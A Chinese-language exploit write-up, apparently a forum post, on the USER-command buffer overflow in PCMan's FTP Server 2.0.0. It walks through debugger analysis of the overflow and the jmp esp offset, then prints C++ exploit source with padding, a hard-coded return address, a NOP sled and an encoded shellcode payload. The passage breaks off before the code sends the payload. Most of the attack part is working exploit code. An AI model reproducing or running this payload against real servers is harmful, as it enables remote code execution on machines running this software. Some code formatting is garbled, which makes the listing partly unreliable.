1. 软件简介PCMan's FTP Server是一套FTP服务器软件。该软件具有体积小、功能简单等特点。2. 漏洞
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
3. 逆向分析(1) 已知登录USER名字过长导致的缓冲区溢出漏洞,OD加载,在recv函数下断点。
(2)程序运行后,发送USER溢出数据包,段在这里。运行到返回,到上一层分析。
(3)发现recv函数,分析附近的代码,没发现什么继续运行。
(4)发现在revc下第三个CALL出异常,进入分析。
(5)发现抬高了栈,猜测是要拷贝数据进去,对栈进行监视,运行,观察变化。记住这个值0018E554 和 814
(6)发现在这个call处数据发生了变化,这个CALL就是拷贝。分析后发现没有对长度进行限制。
(7)查看数据中构造的jmp esp 位置,联系代码上下文分析发现0018E554+814正好是0018ED68就是jmp esp;
(8)验证自己的判断,运行到函数返回查看。
<font color="#0000ff">
4. 漏洞利用(源码)
[C++] 纯文本查看 复制代码#include "stdafx.h"#include "Winsock2.h"#pragma comment( lib, "ws2_32.lib") #include int _tmain(int argc, _TCHAR* argv[]){ //1.初始化WinSock服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); //2.创建原始套接字 SOCKET stListen = INVALID_SOCKET; stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0,0); //在任意地址(INADDR_ANY)上绑定一个端口21 sockaddr_in stService; stService.sin_addr.s_addr = inet_addr("127.0.0.1"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (sockaddr*)&stService, sizeof(stService)); // 构造Exploit char cExpolit[5000] = { 0x00 }; // Exploit容器 char cFill[5000] = { 0x00 }; //填充字节 char cNOP[51] = { 0x00 }; //滑板指令区 / char cRetnAddr[5] = "\x37\x73\xFA\x75"; // JMP ESP 跳板 char bShellcode[] = \ // "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x4D\x01"\ "\x8A\x04\x0E\x34\x1B"\ "\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x1B"\ "\xFF\xE6\x5E"\ "\x4E\x90\xF7\x98\xF7\x2B\x48\x28\xC0\xDC\x5E\xCB\x70\x7E\x69\x75" \ "\x4D\x4C\xDC\x5E\xCF\x7E\x77\x28\x29\xDC\x5E\xC3\x35\x7F\x77\x77" \ "\x93\x46\xC7\xDC\x5E\xFB\x6E\x68\x7E\x69\xDC\x5E\xFF\x28\x29\x35" \ "\x7F\x7D\xDC\x5E\xF3\x77\x77\x93\x46\xF1\xDC\x5E\xF7\x73\x7E\x77" \ "\x77\x7D\xDC\x5E\xEB\x74\x1B\xDC\x5E\xEF\x6C\x74\x69\x7F\x93\x46" \ "\xE3\x92\x46\xE7\x4D\x7F\x90\x2E\x2B\x1B\x1B\x1B\x90\x6D\x17\x90" \ "\x6D\x07\x90\x2D\x90\x6D\x13\x92\x6E\xE7\x45\x90\x4E\xE7\xA2\x9C" \ "\x29\xC3\xDB\xF3\x45\x1B\x1B\x1B\x48\x90\xEB\x96\x5E\xCB\x48\x4B" \ "\xE4\xCD\x48\x90\xE3\x96\x5E\xFB\x48\x4B\xE4\xCD\x48\x48\x96\x56" \ "\xEF\x90\xCB\x4A\x96\x56\xF7\x4A\x48\xA2\x39\x62\xA3\x02\xF3\x28" \ "\x1B\x1B\x1B\xE4\xCB\x48\x90\xCC\xA2\x78\x92\xCA\x54\xF3\x3F\x1B" \ "\x1B\x1B\xE4\xCB\x44\x45\x40\x90\xFE\x46\xD8\x4D\x28\xED\xF0\x12" \ "\xDA\xD5\x1C\x14\xA5\xDB\x18\xEB\x5A\x91\x1A\x9F\xDB\x6E\xEA\x20" \ "\xCD\x45\x14\x8F\xDB\xD8\x4E\x90\xF7\x98\xF7\x0B\x48\x4D\x4C\x90" \ "\xE1\x92\x56\xE7\x28\xED\x90\x5C\x27\x90\x5F\x23\x63\x18\xDC\x90" \ "\x53\x07\x90\x4B\x3B\x18\xD4\x90\x43\x03\x18\xCC\x92\x56\xEB\x90" \ "\x53\x3F\x18\xD4\x92\x4E\xE3\x92\x56\xEF\x9E\xC0\x6F\x3B\x90\x17" \ "\xA9\x90\x4E\xE7\x18\xD4\xF3\xBB\xE4\xE4\xE4\x9F\xDB\x6E\x06\x96" \ "\x58\xE4\x20\xEB\x6F\x09\x90\x4E\xE3\x5D\x20\xE8\x69\xFB\x90\x5E" \ "\xEB\x44\x45\x40\x90\xFE\x46\xD8\x28\xDB\xF0\xEE\x90\x5E\xEF\x90" \ "\x56\xEB\x14\xAC\x1F\x6B\x90\x1F\x9A\x18\xDC\xF0\xFF"; memset(cFill, 'A', 2005); // 溢出点的偏移 memset(cNOP, '\x90', 50); // 少填充 1 字节,使其有0x00结尾 sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetnAddr, cNOP, bShellcode, "\r\n"); //sprintf_s(cExpolit, "%s,%s,%s", hexData, hexData, hexData); // 向FTP发送Exploit char szRecv[0x100] = { 0 }; char *pCommand = NULL; // |